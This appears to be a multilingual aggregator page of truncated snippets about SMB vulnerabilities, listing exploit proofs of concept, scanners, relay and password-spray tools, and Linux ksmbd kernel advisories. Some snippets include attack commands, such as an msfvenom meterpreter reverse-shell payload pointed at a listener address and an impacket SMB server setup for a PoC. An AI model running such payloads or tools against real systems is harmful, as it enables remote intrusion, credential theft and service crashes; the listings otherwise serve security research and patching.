CVE-2022-24500

Exploit RCE CVE-2022-24500 Vulnerabilità di esecuzione remota di codice in SMB di Windows Vulnerabilità: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 Passo 1 root@kitploit: msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -...

CVE-2021-34527

CVE-2021-34527 PrintNightmare PoC 👾 📝 Descrizione Questo semplice script Python ti consente di inviare un payload a un indirizzo IP e a una porta di destinazione utilizzando il protocollo SMB. È progettato per dimostrare l'uso di un payload di exploit SMB a scopo didattico. Il payload è un...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP erstellt: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC und verbundene...

CVE-2020-0796-DoS

CVE-2020-0796 DoS PoC SMBGhost Eine einfache Demonstration, die CVE-2020-0796 ausnutzt. Dieses Skript verursacht einen BSoD auf verwundbaren Maschinen. Reines Python 3 ohne zusätzliche Abhängigkeiten. Verwendung python CVE-2020-0796-DoS.py Danksagung Die fest codierten Paketdaten stammen von dies...

CVE-2020-0796-POC

CVE-2020-0796 POC de Pré-Autenticação c 2020 ZecOps, Inc. - https://www.zecops.com - Encontre os Erros dos Atacantes POC para verificar CVE-2020-0796 / "SMBGhost" Resultado esperado: Tela Azul Destinado apenas para fins educacionais e testes em ambientes corporativos. A ZecOps não se...

CVE-2025-55234

CVE-2025-55234 Questa vulnerabilità consente agli aggressori di effettuare attacchi di relay contro il protocollo SMB Server Message Block. Se ha successo, può portare a un Elevation of Privilege EoP, consentendo essenzialmente a utenti non autorizzati di ottenere accesso di livello superiore su ...

SMBetray

SMBetray Versione 1.0.0. Questo strumento è un PoC per dimostrare la capacità di un attaccante di intercettare e modificare connessioni SMB non sicure, oltre a compromettere alcune connessioni SMB protette se le credenziali sono note. Contesto Presentato al Defcon26 con "SMBetray - Backdooring an...

ntlm-scanner

Neu! Exploit-Scan für CVE-2020-1472 ZeroLogon Scannen Sie DCs in Ihrem Netzwerk, um tatsächliche Ausnutzung von CVE-2020-1472 zu erkennen Beispiele: root@kitploit: python scan.py -vuln CVE-2020-1472 -target-file targets.txt python scan.py -vuln CVE-2020-1472 -target Das Tool funktioniert, indem e...

pipe_finder

Pipe Finder 1.0 Automated script to search in SMB protocol for availables pipe names Screenshots Requirements metasploit-framework wget locate pipeauditv2.rb module https://github.com/peterpt/pipeauditorfb - It will be installed on first run Install Requirements apt-get install metasploit-framewo...

SMBv3.1.1-scan---CVE-2020-0796

SMBv3-scan---CVE-2020-0796 Piccolo scanner per sapere se una macchina sta eseguendo SMBv3 possibile vulnerabilità CVE-2020-0796...

MSF_PassSpray_Wordlist_Generator

Generatore di Wordlist per Password Spray Un pratico strumento che ti aiuta a creare la tua wordlist per il framework Metasploit, al fine di effettuare un attacco di password spray contro vari protocolli di rete nel dominio delle tue vittime, come SMB : Descrizione Metasploit ha diversi moduli ch...

MSFinger

MSFinger - Strumento di fingerprinting dei servizi di rete Microsoft Versione: 1.0 Autore: Laurent Gaffie Azienda: Secorizon Panoramica MSFinger è uno strumento di fingerprinting di rete ad alte prestazioni progettato per la ricognizione di reti interne. Identifica rapidamente i servizi Microsoft...

CVE-2026-74521

In the Linux kernel, the following vulnerability has been resolved: ksmbd: use memcmp to compare ClientGUIDs ClientGUID is a fixed-size binary value and can contain embedded NUL bytes. strncmp stops comparing at the first NUL byte, so different ClientGUID values can incorrectly be treated as equa...

CVE-2026-72492 ksmbd: fix use-after-free in same_client_has_lease()

In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix use-after-free in sameclienthaslease sameclienthaslease returns an opinfo pointer from ci-moplist after dropping ci-mlock without taking a reference. smbgrantoplock then dereferences that pointer in copylease and when...

The vulnerability of the ksmbd component in the Linux operating system’s kernel allows a hacker to trigger a service failure.

The vulnerability of the ksmbd component in the Linux operating system’s kernel is related to the lack of data security mechanisms. Exploiting this vulnerability can allow an attacker to cause service failures...

CVE-2026-68431

The CVE-2026-68431 entry documents a Linux kernel ksmbd flaw where SMB2 transform requests bypass minimum PDU size validation, allowing an unauthenticated remote attacker on SMB2.1 to trigger reads beyond the request allocation and potentially disclose data. The issue arises because the transform...

CVE-2026-68099 ksmbd: restore DACL size on check_add_overflow() to avoid malformed ACL

In the Linux kernel, the following vulnerability has been resolved: ksmbd: restore DACL size on checkaddoverflow to avoid malformed ACL checkaddoverflow unconditionally writes the truncated sum into d even on overflow, per its contract in include/linux/overflow.h. The four checkaddoverflow guards...

Astra Linux – Vulnerability in Linux 6.12

In the Linux kernel, the following vulnerability has been resolved: ksmbd: Validates the owner of the durable handle upon reconnection. Currently, ksmbd does not verify whether the user attempting to reconnect to a durable handle is the same user who originally opened the file. This allows any...

Linux Distros Unpatched Vulnerability : CVE-2026-68083

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ksmbd: fix path resolution in ksmbdvfskernpathcreate The SMB2 open lookup is rooted at the share with LOOKUPBENEATH, but the create/mkdir/hardlink sink is not:...

Linux Distros Unpatched Vulnerability : CVE-2026-68130

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ksmbd: defer destroyprevioussession until after NTLM authentication In ntlmauthenticate, destroyprevioussession is called using a user pointer resolved from the...